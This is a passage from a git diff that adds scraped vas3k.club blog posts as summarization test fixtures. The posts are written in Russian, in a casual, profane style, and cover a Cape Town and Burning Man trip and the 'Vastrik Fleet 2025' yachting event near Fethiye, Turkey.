подробностей. Думал, может для подписчиков есть отдельная глава, а нет. Поэтому хотелось бы, так сказать, поинтересоваться, а как этот бернингмен в плане секса? Насколько там этого много, к чему быть готовым, ну и в целом интересно насколько это важная составляющая феста? 5 Вастрик Daniil Olshevskiy, ну хоть кто-то задает нормальные вопросы! С одной стороны, Бёрн — это не кинки-пати. Да и на кинки-пати не обязательно ебаться, если что. Так как на бёрне воссоздаётся мир в миниатюре, потому и секса в нём ровно столько, сколько в реальном мире (можт чуть больше из-за всеобщего раскрепощения). Если ты едешь на Берн не за этим — ты вряд ли встретишь везде ебущихся людей. Разве что просто голых. Этих много. Если же цель именно в открытии новых сексуальных впечатлений, то тут как в любом хорошем берлинском клубе — нужно лишь спросить или найти где. Тут есть и голая йога, заканчивающаяся совместным употреблением почтовых марочек, есть и лагеря-оргии, куда ходят именно за этим. Короче, вариантов извалять письку в песке много. Рекомендую ознакомиться заранее со списком лагерей и их правилами. Например, некоторые пускают только парами. И нет, когда наши знакомые попытались притвориться гей-парой и пройти в оргия-кемп, их не пустили. Слишком толсто. Войти и написать День, какой там вообще? Декомпрессия. Кататься по дюнам и похуй на всё Бля. Где я? Это Кейптаун? Где техно-единорог? Почему прохожие на улице не здороваются? Почему они так скучно одеты и не танцуют? Квартирка для декомпрессии с отличным видом После любого бёрна нужна пара дней декомпрессии. Как чисто физической, ведь впервые за неделю принять душ и завалиться на чистый диван без песка — это незабываемо, так и моральной. Почему-то первое, с чем захотелось сравнить ощущение — это когда в детстве прожил всё лето на даче и вот возвращаешься в город. Ты как попадаешь в другой мир — с грустными людьми бегущими по пыльным улицам на нелюбимую работу, а почему-то не на речку к лазерному единорогу. Первые пару дней чувствуешь себя очень неловко. Однажды мы просто шли по улице и на автомате стали пританцовывать под игравшую из какого-то ларька музыку. Короче, в первые дни бернеров легко отличить в толпе от обычных горожан. Даже взгляд отличается. А потом ты и сам становишься как они. Кажется, бёрн, это такая вот поездка на дачу, только для взрослых. Плейлист для декомпрессии. Кстати, неплохой. Автор прям хорошо подобрал нужное настроение — reflective, not depressive (c) На второй день мы решили в последний раз выбраться за город и погонять на нашей тоёте по песчанным дюнам. Как раз багажник больше не забит барахлом и у нас есть время чтобы по-кайфу застрять в песках и откапываться до самой ночи. Это было офигенное приключение. Его я точно запомню на всю жизнь. Комментировать Войти и написать Природа в Африке всё-таки нереальная На этой фотографии мы узнали почему лучше ЗАКРЫВАТЬ окна когда наваливаешь по песку Виииии А сюда мы поехали чтобы застрять и откапываться Крены — кляс! Отныне хочу наблюдать только такие виды в своем лобовом стекле Итого. Кейптаун — идеальное место, чтобы пережить наступающую Третью Мировую Войну. Успейте! С поездки прошел уже месяц, а в моей голове до сих пор не уложились все эмоции и мысли. Что в Кейптауне однозначно круто: природа, сервис, море с серфингом, магазины с экипом, которые на голову выше европейских кемпинг-сторов, и часовой пояс. Ты на другой стороне земного шара, а с друзьями одинаковое время — вообще охуенно! Были бы тут нормальные визы — был бы просто рай для удалёнщиков из Европы. Можно даже свой айти не развивать. Что в Кейптауне однозначно хуёво: интернет везде был говно, электричество время от времени отключают, удалённость от остального «мира», ну и онлайн-сервисы ужасны как в Европе (ною по-московски, ага). В остальном же я нахожусь в странной зловещей долине между «какой ужас, не хотел бы я так жить» и «бля, да это же и есть настоящая свобода». При внешнем сходстве с США, внутри Южная Африка еще напоминает мне Россию: такое же дикое расслоение общества, в котором условные «москвичи» старательно пытаются игнорировать существование остальных 130 млн человек «там в трущобах». Такая же продажная полиция, покрывающая наркокартели, и низкое доверие власти. Такой же бардак в бюрократии из-за которого здесь практически невозможно получить никакую «длинную» визу. От того в Южной Африке как-то странно комфортно, потому что ты сразу знаешь как жить в таком бардаке. Кажется, даже культурный шок здесь будет меньше и короче, чем при эмиграции в условную Европу. Опасные улицы? Да у тебя на выбор куча охраняемых ЖК с личным консьержем по цене однушки на окраине Парижа. Нет транспорта? Да у тебя на частной парковке огромный ренжровер, не пофиг ли? Я понимаю, что запах бомжатины в берлинском метро забыть невозможно, но ты попробуй! Плоха государственная медицина? Да и забей на неё, частные клиники лечат лучше и без очередей. Это немцы пусть месяцами ждут свои «термины», а твою сыпь вылечат здесь и сейчас! С другой стороны — это стрёмно. Жить всю жизнь за забором и не выходить после 10 вечера на улицу — я даже не могу представить каково это. Как детей в таком растить, школы выбирать или чем там еще взрослые люди занимаются? Тоже ведь надо взрослым быть. Хотя кого это вообще должно волновать, когда Северное полушарие прямо сейчас начинает новую мировую войну на много лет вперёд. Пора съёбывать в Южное. Так вижу. Короче, надо ехать еще раз! Комментировать Войти и написать +============== diff --git a/tests/summarization/https___vas3k.club_post_29747_.txt b/tests/summarization/https___vas3k.club_post_29747_.txt new file mode 100644 index 0000000..8cf5fe3 --- /dev/null +++ b/tests/summarization/https___vas3k.club_post_29747_.txt @@ -0,0 +1,2 @@ +ВастрикКлуб Что за Клуб? Войти Вастрик Флот 2025 Искатели кайфов, дрейф на рейв, парусить вокруг торнадо, высадка на необитаемый остров Публичный пост 23 октября 2025 5790 Вастрик Katerina Petrova Лена 181 Мы тут снова сгоняли с клубнями пояхтить! На этот раз действие происходило в Турции, в районе залива Фетхие. Эти места называют «турецкой ривьерой» и там вдоль моря действительно очень классная природа, горы, много заброшенных античных городов, бухты с бабочками, острова с кроликами и прочие красивости. В этом году у нас добавилась +1 лодка, так что нас собралось аж 54 человека и флотилия из 5 лодок и 1 катамарана-штаба. Держите небольшой видосик .image-wide В этом году мы даже придумали себе тематику. Мы — исследователи кайфов! Кто найдет и попробует больше всего кайфов за эту неделю — побеждает. Таков был план :) После эксперимента прошлого года мы поднабрались опыта, начитались фидбеков и решили немного изменить концепцию Вастрик Флота, чуть подальше разнеся его от концепции Вастрик Кэмпов. Раньше мы наивно думали, что Флот — это такой же Кэмп, только на воде. Из-за этого мы пытались понапихуить кучу активностей в любую свободную минуту утром и вечером, букали какие-то площадки, чтобы тащить всех через три перди играть в Свою Игру, под конец которой выживала от силы половина участников. В этом же году мы поняли, что такая плотность «официальных» активностей никому нахер не нужна! Мы решили оставить минимум — открытие, кульминация (рейв), закрытие. Остальные развлечение отдать на инициативу самих участников и сфокусироваться больше на яхтинге и командах. Ведь именно они вызвали наибольшее количество восторга на прошлом Флоте. Яхтинг сам по себе уже дофига активность, физически и ментально, а вот это ощущение единения и командного духа — бесценно и довольно редко достигается на любых других ивентах. Кэмп более индивидуальный, а на лодке всё-таки всем приходится жить и работать командой целую неделю иногда в довольно опасных условиях. Это сплочает так, что многие команды после Флота становятся друзьями в жизни и потом даже иногда собираются вместе :) Кстати про команды. Матрос спит — служба идет! Команды Нас было 54 человека, но это еще с отбором. Кстати для тех, кто не верит в вейт-лист и говорил «да чо я буду унижаться куда-то записываться, все места заняты», поделюсь фактом, что мы практически весь его исчерпали. По-моему человек 8 мы в итоге взяли из вейт-листа по разным причинам — кто-то оплатил, но не смог поехать, либо мы добирали «одиночек», которые бы согласились с кем-то делить каюту, потому что девочек и мальчиков оказалось нечётное количество. Так что вот учтите на следующие разы :) Из забавного: по-моему это был ивент с самым большим разбросом участников по возрасту. Мы всегда делаем традиционный нетворкинг-кружочек с вопросами типа «я родился при Брежневе» и «я родился в этом тысячелетии», так вот у нас четыре человека застало Брежнева, а трое родилось в 2000-х. Разница в возрасте между самым старшим и самым молодым участником была 26 лет. А вот с разнообразием по полу у нас как обычно всё плохо. Надо уже забрать с собой лодку с соседней регаты для девочек, чтобы разбавить эту вечеринку. Все пять капитанов с прошлого Вастрик Флота с удовольствием согласились покапитанить и на этом! Смотрите-ка, мы их не заебали! А именно Саша @road_addict — команда «В Поисках Мема». На этот раз ребятам досталась чисто мужская лодка, зато они выиграли все квесты и ходили в пиратских нарядах каждый день. @tonsky с флагом команды Макс @prtngn — «Космическая Распутница». Спин-офф знаменитой лодки «Спейсшлюшки» с прошлого Флота. Они же изобретатели собственного коктейля «Шлюхиато», которым всех угощали. Поговаривают, что после окончания Флота они решили познакомить команды «шлюшек 2024» и «распутниц 2025» друг с другом, чтобы объединиться. Продолжаем наблюдение за довольно уникальным симбиозом :) Макс как всегда главный ловец кайфов Самый бесстыжий флаг на всем турецком побережье! Иван @Jovan — команда «Османский Дьявол». Дьяволы на этот раз отличились своей любовью в любой сложившейся ситуации купаться голыми и летать на кранцах, а еще они выбросили своего капитана за борт (говорят, он сам захотел, а желание капитана — закон). Такая вот команда собралась! Флаг Дьяволов в этом году Кэпы Иван и Саша делятся своими впечатлениями Юра @ijontichy — команда «О». Самая длинная лодка с самым коротким названием. Юра, кстати, прилетел на Флот аж через пол-планеты из Австралии, прервав свою кругосветку, чтобы побыть у нас капитаном :) Команда «О» отличилась во время нашей импровизированной «гоночки» на парусах, потому что нам опять «повезло» и прямо посреди официального перехода закончился ветер. Остальные команды просто вышли из боя и уплыли купаться, а Юра и Макс держались до победного в штиль, пытались грести лодки веслами от сапов и дуть в паруса. Вот это сообщение Марины стало для нас мемом на «Штабе»: Ну и Юра как обычно вспомнил о своей любви залезать на высокие предметы и помог нам спасти флаг Штаба, который оторвался от крепления и запутался вокруг мачты наверху. Юра шлет селфи с мачты катамарана. Там где-то внизу даже нас видно. Вот за такие моменты спасибо тебе :) Хотя Юра на этом Флоте еще много раз о любви вспоминал, но это никто не видел... Но ладно, будем уж честны, этот Флот оказался как-то на удивление для нас любвеобильным :D Но тут без комментариев. Орги тоже в шоке. «О» сделали себе милую гирлянду со всеми членами команды! Юра забирает флаг команды, который он теперь сделал своим капитанским :) Ну и, конечно же, Фёдор — капитан всей флотилии, грозный голос из желтых раций и начальник катамарана «Штаба». Кстати, у катамарана в этом году наконец-то появился собственный флаг с мамой-уткой и утятками :) Флаг «Штаба» Вот такой бегемот как всегда Команда Штаба как обычно за работой Еще в этом году на новую лодку к нам присоединилась Алина @linashetinkina, возглавив команду «Морские Котики». Алина первоклассный инструктор и, судя по рассказам и видосам, на лодке «Котиков» реально всем управляла команда, под чутким её присмотром. Они даже учились ходить под парусами с закрытыми глазами. На одной из последних остановок ребята уже были настолько уверены в себе, что сказали «да давай мы сами попробуем зашвартоваться уже» :D Фан факт: изначально мы хотели делать «девочковую лодку», под которую как раз и нашли Алину как капитана. Мы даже держали какое-то количество билетов «чисто для девочек», чтобы набрать нужное количество. Но нужное количество девочек мы так и не собрали :( Девочки-одиночки все поголовно хотели на лодки с мальчиками! А парочки, понятное дело, хотели спать вместе. Да штош такое-то! Потому девочковой лодки у нас снова не получилось, а получилось наоборот — одна чисто сосисочная мужская лодка :D Зато в этом году мы специально начали собирать и знакомить команды сильно заранее, потому уже к приезду у них были названия и даже собственные флаги, которые мы специально заказали и напечатали. Получилось топ! Флаги и мы! По окончанию Флота команды даже разделили кому достанется какой из флагов. Особенно меня порадовало то, что некоторые из капитанов забрали себе наши официальные флаги и, говорят, что будут иногда ходить под ними на своих частных рейсах. Так что если встретите где-то в море флаг Вастрик Флота — передавайте привет! Это наши! Ну а кто-то даже умудрился повесить шестиметровый у себя в квартире :D А так как флаг литералли занимает всю комнату, обои этому человеку больше не нужны. Установка стояночного флага Я не буду расписывать про каждую команду, как это делал в прошлый раз. Потому я попрошу тех, кто был с нами — расскажите в комментах о своей команде и какой вайб стоял на вашей лодке? Огромные респекты Насте за отличный бар! Включая безалкогольный, на него в нашем возрасте большой спрос :) Как вам Турция? Скажу честно, в Турции я был второй раз в жизни. Ну, это если не считать, что я живу в Берлине, где половина города говорит по-турецки. Мой первый раз был в Стамбуле лет 6 назад, где я тогда провел несколько недель и где мне прям сильно НЕ понравилось, и я закрыл для себя это направление вообще. Однако, после прошлого Вастрик Флота в Черногории, наши капитаны практически единогласно проголосовали за то, чтобы следующий Флот прошел именно в Турции. Я хоть и был самым скептически настроенным человеком в комнате, но в итоге они меня убедили попробовать :) Первое, что в Турции оказалось лучше — это сами лодки. Они новее и их тупо больше. Все наши лодки были довольно свежие — 2023-2024 годов выпуска, что положительно сказывалось на комфорте и на количестве поломок в пути. У нас на катамаране, например, был встроенный опреснитель, дававший бесконечный запас пресной воды и даже льда из лёдогенератора, а на одной из яхт даже был встроенный гриль! Второе, что в Турции круче — это виды. Точнее даже их количество. Да, в Черногории у нас была красивейшая Которская Бухта, которая всему миру фору даст по видам, но там она одна за всех отдувается и её можно обойти по кругу буквально за несколько дней. В Турции же можно неделями плавать между островами и бухтами, залезать на какие-то хайкинг тропы, купаться около гротов, итд. Ну, виды! В общем и целом могу сказать, что Турция в районе моря действительно отличается «по вайбу» от Стамбула и прочих больших городов. Мы прилетели в Фетхие за два дня до начала Флота и много бегали по местным магазинам, суетились, чтобы дозакупить всякие штуки типа экрана для проектора, веревок для флагов и даже каких-то автозапчастей на местной разборке. Так вот местные работяги оказались в разы приятнее столичных, не пытались нас наебать и всеми силами старались помочь, несмотря на полное незнание английского. Мы литералли общались с ними картинками из поиска гугла :) За исключением пары неприятных стычек (куда же без них), этот регион немного реабилитировал Турцию в моих глазах. А в Стамбул больше ни ногой! «Открытие» было собрано буквально из рулонной шторы из строительного магазина, моего чемодана, Катиного проектора и привезенной с собой из Берлина блютус-колонки Теперь о минусах яхтинга Турции по сравнению с той же Черногорией. Первый минус — еда. Не могу сказать, что она прям ужасная, нет, мясо было хорошо прожареным, а рыба всегда свежая, благо море вот прям рядом. Просто турецкая еда, скажем, своеобразная. Все блюда как будто одинаковые на вкус и приготовлены на отъебись. Одинаково приторные специи везде, куча каких-то маслянистых соусов не в тему, вместо гарнира — жуй хлеб, который они на удивление умудряются сделать невкусным прямо из печи. Это уметь надо же — так плохо готовить даже банальный свежий хлеб! Короче, вы не встретите в Турции человека, который, уходя с ужина сказал бы «ну это был гастрономический разъёб». Разве что в «европейских» мишленовских ресторанах. По еде любые Балканы уделывают Турцию с большим отрывом. Да даже дёнеры в Берлине уделывают местные турецкие :) Второй минус для меня, как для организатора — нет свободного места. У турков на побережье как будто бы забит каждый уголок. Они пытаются делать деньги с каждого квадратного метра. Например, рядом с нашей мариной был микро-пляжик, где мы хотели собрать всех на открытие, так даже просто за то, чтобы нам всем постоять на этом пляже, турки попросили €2500. Я понимаю, что любая земля рядом с мариной всегда самая дорогая на планете, но мы бывали в куче марин, от Черногории и Хорватии, до Германии и Нидерландов, и уж ну какой-то уголочек в пешей доступности всегда находился. А тут прям всё либо за деньги, либо огорожено военными. Потому тот же рейв и закрытие нам пришлось делать тупо на катамаране. Мы бы не нашли ни одного уголочка в пешей доступности, за который бы турки не хотели дофига бабла. В Черногории было как-то проще находить площадки для активностей между яхтингом. Там повсюду были какие-то заброшки или пустыри. Ну и третий главный минус — дорого. Да, яхтинг вообще недешевое удовольствие, но в Турции просто за всё стабильно хотят 2X цены. Аренда лодок — 2Х от цены в той же Черногории или Хорватии, страховки и депозиты — 2Х, алкоголь в магазине — 2Х (бутылка Gordons'а €30 вместо обычных €14), ужин в ресторане — тоже 2Х. Дешевле в Турции разве что бензин и сигареты. Потому и цену Флота в этом году пришлось поднять с 1100 до 1700 евро, скрепя сердце, да и с ней мы всё равно вышли в минус. Ну штош, будем думать еще. Тут предлагают перестать страдать и делать следующий Флот где-то в стране Шенгена (типа Греции), но у нас до половины участников не имеют шенгенов, боюсь это будет сильно больно для них. Типичный вечер — кто-то пытается настроить VR, кто-то раскуривает электрокальян Гитарные джемы на катамаране были офигенны! Даже мини-докладики были, кудаж без них. После одного чуть не подрались все! Много парусов и порванных перчаток Ладно, есть у Фетхие еще один плюс — там стабильно и хорошо дует ветер! Потому у нас постоянно, по поводу и без, случался СЕЙЛ! (с)(тм) Опять горизонт завален, да чтож такое! Прямо с самого первого дня практически все команды уже ходили под парусами. Команда Макса вообще настолько редко использовала мотор, что на четвертый день индикатор топлива у них всё еще показывал 100%. Даже наш бегемот-катамаран несколько раз ставил все паруса и в один из переходов мы даже умудрились разогнать эту пятиэтажку до 9 узлов! Плохая погода не помеха! .image-wide Парусить — кайф! Особенно когда погода такая разная. Под парусом совсем другие ощущения, когда выключаешь двигатель и оказываешься в тишине посреди моря, только ветер начинает свистеть в ушах и нести тебя куда-то вдаль. И зачастую он даже быстрее, чем сам двигатель. Ну а вот эти пересаживания с борта на борт на перекладках — отдельный кайф. В прошлом году в Черногории мы постоянно попадали в какие-то крайности — то ветра вообще нет целый день, то сразу шторм. Здесь же всё было стабильно и предсказуемо, потому какие-то команды даже умудрялись изо дня в день красиво походить вместе галсами. Хотя, конечно, один раз где-то на горизонте мы встретили образующийся смерч в небе, который медленно и красиво спускался вниз и потом соединялся с водой. Но мы были от него на достаточно безопасном расстоянии, потому просто насладились красотой природы. Мы всё-таки заметно выросли с прошлого года. Если в том году мы все такие наивные и неопытные ехали кататься по морю с друганами, то в этом у нас уже четкая организация, постоянная связь и планирование. Мы всё равно еще маленькие и какие-то вещи решаем прямо в последний момент, но прогресс прям сильно заметен. Хорошо, что на фото не мы! Как мы и хотели, степень вовлеченности команд в яхтенные движухи была максимальной. Мы даже специально всем сделали специальные мерчовые перчатки, потому что знали, что они пригодятся :) Не знаю чьё фото, но размер немного большеват! Наш мерч уже издалека узнают даже незнакомые люди Однако, никто так и не рассказал мне зачем на яхтенных перчатках отрезаны два пальца? Я так понял, что это чтобы пиво открывать удобнее было, да ведь? Некоторые в этих перчатках даже плавали. И на это был повод, потому что уже во второй день все команды сразу ждал довольно увлекательный челлендж — средиземноморская швартовка! Средиземноморская швартовка Вообще мы на Флоте стараемся чередовать разные виды стоянок, чтобы было веселее. Ходить из марины в марину каждый день — скучно, нет ощущения какого-то морского приключения, ведь каждый день спишь по сути на берегу. Но при этом жить в море всю неделю — физически и психологически сложно, да и заябывает. Нужно разнообразие! Все давно научились швартоваться и жопой, и лагом, и на буй, и стоять плотом, и на якоре. Но вот стоять по-средиземноморски было даже для нас новинкой. Довольно веселой, кстати. Средиземноморская швартовка сочетает в себе стоянку на якоре с привязкой лодки на две дополнительные точки опоры (верёвки), которые крепятся литералли на камни к скалистому берегу. Как-то так. С одной стороны якорь, с другой — веревки Говорят, такой вид швартовки стал популярен именно в средиземноморье, потому что лодок тут всегда было дофига, а марин не хватало, потому это был один из способов впихнуть больше судов в ограниченное пространство. Выложив якорь, каждая лодка отправляет своего лучшего пловца на берег с огромной веревкой, которую он потом завязывает на любую достаточно прочную скалу, которую еще предстоит найти. И не замотаться нахер в этой веревке пока плывешь :) В современном исполнении вообще-то для этого используется сап или тузик, но наши пловцы-добровольцы решили отказаться от любых достижений современного прогресса и делали всё по-старинке вплавь. Ну хоть догадались, что плыть надо сразу в кроксах и в перчатках, потому что берег скалистый и там живут морские ежи. Вот это мы красивые стоим! Кто-то сапает даже Конечно, в результате всё равно несколько приплыло потом на Штаб за аптечкой и пластырем, потому что разодрали коленки пока искали себе скалу получше. Но все потом бегали довольные от приключений. Вечером того же дня мы соорудили тузик-такси на соседний остров, с вершины которого открывался отличный вид на закат и на наши лодки. Хоть на лодках тузики были грусные, зато на катамаране у нас чуть ли не отдельная яхта была! Она стала тузик-такси для всех с Петей-водителем По дороге наверх, есесно, показывали руины какого-то заброшенного греческого города 6-8 века. У турков это вообще тут повсеместно — показывать греческие руины за деньги. Ну хоть всего 200 лир, недорого за такие виды. Пати-тузик на вёслах Как мы встречаем друзей в море Яхтенная тусовка она из таких, ну, где «все друг друга знают». Скажи название любой регаты или яхтклуба тому, кто часто этим занимается, и скорее всего у него там уже будут какие-то знакомые-знакомых и даже собственное единственно правильное мнение на счет них. Мнение скорее всего негативное и состоящее из множества слов «ну эти пид...» Не знаю почему. Так принято. Морская традиция. Так вот и появление Вастрик Флота тоже не прошло незамеченным. Нас уже начали узнавать даже на воде. Например, во время средиземноморской швартовки мимо проходила одна яхточка, которая притормозила и подошла поближе, чтобы передать приветы вастрикчанам. Это было довольно мило. Мы не успели расспросить ребят кто они и откуда. Но когда из-за угла к тебе подплывает 46-футовая яхта и такая «я подсяду?» — это кек! Вторая смешная встреча оказалась с Марией @msoozar. Мы знали, что она тоже ходит с командой где-то неподалёку. Так вот в одной из бухт я заметил на заходящей яхточке кого-то на борту во флиске Вастрик Кэмпа. А эта флиска очень заметна своей оранжевостью! Издалека мы сначала не поняли и думали это одна из наших лодок заходит, но почему-то без флагов. Пара минут недопонимания, пока они не подошли поближе. И да, это была Маша на своей лодке! Шла прямо за нами. Мы встретились потом в ресторане, подарили ей наше сваговое полотенце в память о Флоте, пригласили на наш рейв и в бар. Образовательный полотенчик! Будете скучать по Флоту — просто разверните его Ох уж эти безбилетники! (но ладно, они были так вымотаны своими приключениями, что даже не зашли) Короче, узнают нас уже, это приятно. Но ставлю бутылку рома, что наверняка уже и распространяют какие-то нелицеприятные сплетни среди «яхт-тусовки». Расскажите по секрету, если услышите! Мы красивые! Дрейф на рейв Ну какой же Вастрик Ивент без рейва, это уже как традиция. Тем более с нами снова был Ренат @zibzibzib, который уже прославился своим топовым DJ-сетом на Кэмпе 2025. Он согласился для Флота подготовить новый сет :) С рейвом в этом году у нас постоянно были какие-то проблемы. На прошлом Флоте всё было как-то легко: помните, мы просто нашли заброшенный отель, высадились в него с колонкой, DJ пультом и фигачили музыку до заката. Тут же планы менялись по-моему раз пять по ходу. Потому даже в расписании он был отмечен как «секретный ивент». Да, по секрету скажу, это было не потому что мы хотели навести саспенса и драмы, а потому что мы сами до последнего не знали каким он будет :D Иногда жизнь организатора — это fake it till you make it. Погружаемся... Сначала мы планировали делать тусич в My Marina, но за несколько дней до Флота нам позвонили оттуда и сказали, что хотят 50 евро с человека. «Марина» резко превратилась в «ресторан», чтобы содрать с нас побольше денежек. Классика. Лишних 3000 евро у нас не было, потому мы сменили планы на какой-то остров неподалёку, где можно было высадиться на пляж и сделать типа «вечеринку в стиле последнего героя», с факелами, пляжным DIY баром, сансет-сетом, съемками на дроне в стиле Cercle. Идея продержалась ровно сутки пока не пришел прогноз погоды. На эти два дня нас ждал дождь с градом, а значит якоря и дальние острова отменяются, надо ехать ныкаться в какую-нибудь близжайшую марину, иначе нам грозило повторение ночных «гонок на якорях» с прошлого Флота. Потом мы переиграли всё на «звездочку». У нас было желание на этом Флоте хотя бы разок встать «звездой» — когда лодки выбрасывают якоря и связываются друг с другом жопками, чтобы организовать красивый кружочек. Мы как раз могли встать в тихом месте и зафигачить DJ-сет с катамарана, пока все бы плавали в кругу между яхт на сапах или просто купались бы. Не знаю как при этом танцевать, но я думаю мы бы справились! Нашли место, выбрали солнечный день, посмотрели прогноз по ветру в той локации и... дует 20 узлов весь вечер =/ Ни яхты нормально не поставить, ни покупаться, потому что сапы все сдует нахер в море, ни музыку не услышать даже. Снова надо было перепланировать всё. В итоге решили чо: в одном из «ресторанов» мы договорились с владельцами «немного пошуметь», нашли на помойке какие-то ящики, собрали из них DJ стойку прямо на крыше катамарана, направили проектор с визуалами прямо на сложенный парус и поставили Рената сверху. Вот так выглядит DJ-стойка из мусора и пенки для йоги. Оцените качество закрепления её на палубе на случай внезапного ветра или качки :) Записывайтесь на мой курс «Как сделать рейв из говна и палок с помойки за полчаса». У нас, кажется, уже много опыта! Отдельно кто-то придумал использовать налобные фонарики в качестве клубных стробоскопов и привязал их рядом. Ну настоящая атмосфера нелегального берлинского техно-клуба. Мы на этот раз даже записали сет Рената! Он состоял из двух частей, которые он любезно назвал «Яхтинг» и «хуЯхтинг». Первая — чилл и разогрев под закатик, а вторая — тот самый драм-н-бас разъеб, потанцевать под который даже стянулись ребята с соседних лодок :) .image-wide Ну а такой феномен как «ДРОПЫ РЕНАТА», кажется, уже становится клубным мемом. https://soundcloud.com/zibzzz/yachting https://soundcloud.com/zibzzz/xuyachting Как винешка на торте — в последние 20 минут сета пошел внезапный дождь. Ни один из радаров его не обещал, но он пришел. И я помню как очень смешно ребята ломанулись сооружать Ренату крышу из скотча и мусорных пакетов, накрывать всю технику и спасать проектор от воды. В это время Ренат продолжал фигачить заключительную часть сета из под мусорных пакетов, даже не останавливаясь. Один раз там даже что-то замкнуло, но быстро пришло в норму и музыка восстановилась. Ну а катарсисом вечеринки было, что последним треком Ренат выбрал «лето три полоски на кедах под теплым дождем» и это было ОНО Действительно было и лето, и кеды кроксы, и теплый дождь. После этого трека мы все побежали под крышу спасать технику, перевернули DJ-пульт и из него вылился примерно литр воды на пол. Помню невозмутимое лицо Рената, отпивающего в этот момент джин-тоник, и его слова «ну вот как раз технику обновлю...» :D Турецкие рестораны — скам? Немножко обратно отвлечёмся на местные, скажем так, особенности. Как я рассказывал выше, турки стараются выжимать максимум денег с каждого квадратного метра около моря. Потому одно из популярных развлечений — это выкупить какую-то бухту посреди нихуя на острове и сделать там «ресторан». Работает такой ресторан по принципу «вы можете пришвартоваться у нас на ночь, но обязаны забронировать оверпрайс-ужин на всю команду». И вот с одной стороны это миленько, вы стоите все вместе в маленькой бухточке, хозяева даже разрешают немного пошуметь ночью, либо готовы сами вам устроить вечеринку с популярными на турецком побережье хитами «матушка земля» и «я русский» (кринж). С другой стороны такой «ужин» стоит 50 евро с человека, а еда там довольно классическая «турецкая». Ну то есть очень не очень. Тем более за такие деньги. Везде традиционные лепешки в масле, какие-то намазки, ну и «главное блюдо» — рыба без нихуя или кусок барана. Плюс всегда можно наткнуться на другую такую же компанию, желающую «пошуметь», и тогда уже становится совсем кринжевато и тесновато. На третий круг «матушки земли» мы ответили им жестким берлинским техно, но нас не поняли и посмотрели как на идиотов, портящих людям праздник. Никаких других развлечений там обычно нет, разве что в туалет и в душ можно сходить на берегу, ну или хайкануть до соседнего пляжа по горе. Вот как-то так Короче, я не понял. С одной стороны вроде удобно, «ресторанов» натыкано довольно много в разных местах, ночевать безопаснее и спокойнее, чем на якоре. С другой — ничего нет, вайбы кринжовой свадьбы в Ялте, ну и выходит в разы дороже, чем стоять в марине. 50 евро на человека это уже 500 на лодку и 2500 евро за пять лодок. В марине постоять же в среднем выходит 100-200 евро за лодку. Была бы у них хотя бы еда какая-то особенная, ну типа там крабов местных или устриц с домашни видом как в Черногории бы давали — я бы еще понял. А так пока не понял. Выход с утятками :3 Квест на острове с кроликами Петя @skywinder уже несколько лет хотел замутить Вастрик Квест на каком-нибудь острове. В прошлом году помешал шторм и потерянные якора, без которых невозможно было встать для высадки, но в этом году Петя всё-таки добился своего! На протяжении трех дней команды разгадывали подсказки, зашифрованные на игральных картах, чтобы собрать как можно больше информации о местонахождении точек финального квеста на острове. Одна из команды даже пыталась хакнуть саму систему, вот тут был от них пост недавно: Душа Флота и как Распутницы пытались сломать Квест Тузики в этом году у нас были какие-то совсем маленькие, даже 4 человека еле выдерживали В финальный день Петя и Игор @IgorSlinko отправились на тот самый необитаемый остров, чтобы разложить финальные точки квеста. Остров оказался максимально кайфовый — это был не просто камень посреди моря, там сохранились руины каких-то старых древнеримских построек, форта, а еще там жили несколько коз и куча кроликов. Я не знаю что они там делали, но друг друга они не ели. Наверное им там просто нравится. В итоге обитатели острова тоже стали частью квеста :) Штаб прибыл на остров раньше всех и ребята больше часа ходили раскладывали финальные загадки типа встать посреди разрушенного форта и посмотреть через окошко, найти самое высокое дерево или грот. Прямо посреди острова ребята придумали новую механику с «доп заданиями» типа собрать все морковки или сфотать всех овец. Причём все думали, что мы всерьез так заморочились и напечатали мечи в форме морковок, специально для кроличьего острова. На самом деле у Пети просто остались они в сумке и он сказал «а давай разложим их в самых приклекательных местах и сделаем сайд-миссии». По итогу было очень прикольно находить какой-то заброшенный мини-коллизей, посреди которого стоит меч-морковка, как будто это настоящая игровая локация. В итоге все морковки собрал Денис @Kick0Zz. Он сказал, что полез в какую-то нору за этим мечом и из нее выпрыгнуло три кролика Мы наблюдали за всеми в этот момент с дрона. Было довольно весело наблюдать за разными командами и как они решают загадки на местности. Повторим, может, на Вастрикленде? :D В сундук сокровищ влезала лишь какая-то мелкая штука, потому мы положили вот это :D Представляю удивление первой команды, которая выполнила все испытания, чтобы найти ЭТО Немножечко кадров с закрытия и награждения Автерпати После каждого Вастрик Ивента всем нужен декомпрешен. Особенно после недели в море, когда тебя еще два дня качает из стороны в сторону даже на суше. Вот и на этот раз мы сняли себе виллу где-то в пригородах Фетхие, чтобы наконец-то немного выдохнуть, пожарить 20 кг мясов на гриле ну и допить-доесть всё недопитое-недоетое. На суше флаги иногда тоже пригождаются Автерпати — всегда самая уютная и немного грустная часть. За неделю все стали друзьями, знают друг друга по именам, и как будто бы год прожили вместе. Когда не хватило недели на море и ты хочешь фотосет в бассейне Кто-то волновался, что кроватей всем не хватит? Кто-то готовит еду, кто-то стирается, кто-то играет на гитаре, остальные чиллят у бассейна и обсуждают как же было круто. Капитаны делятся байками и историями из своих походов, а я как всегда мотаюсь куда-то на машине за докупками. На автерпати как никогда чувствуется насколько же круто клубни умеют самоорганизовываться. Орги к этому моменту полностью вымотаны, но ребятам мы уже абсолютно не нужны, они все знают что делать и сами обустраивают жилище, ужин, мясо у костра и кружочки по интересам. Всегда грустно в такие моменты расставаться. Мы как будто стали большой семьёй. Но ничего. Увидимся в следующем году на Кэмпе! Приезжайте! P.S.: Хотя, если честно, я до сих пор удивлен, что кто-то вообще почему-то ходит на наши ивенты :D Пёс, ну чо думаешь? Вастрик @vas3k Блогер, погромист, мизантроп — Ищу работу Берлин, Германия vas3k.ru · Twitter · Telegram · Github Katerina Petrova @KaterinaPetrova Product Marketing Manager @ Kotlin — JetBrains Ларнака, Кипр Пишу в Твиттер Делаю подкаст Podlodka Телега Лена @lena Chief happiness officer ♡ — How to Berlin Берлин, Германия Команда Клуба How to Berlin и Канал How to Berlin Картинки и Глупости http://t.me/snekss Связанные посты Вастрик Кэмп 2025: Как арендовать страну, позвонить президенту, сделать пиратское радио и захватить собственный остров 292 111 комментариев Вастрик Флот 2024: яхтить по Адриатике, ночевать в шторм, потерять два якоря, вернуться новым человеком Градообразующий пост 288 83 комментария Вастрик Ивенты 2026 Собираем ваши идеи и мнения 72 138 комментариев 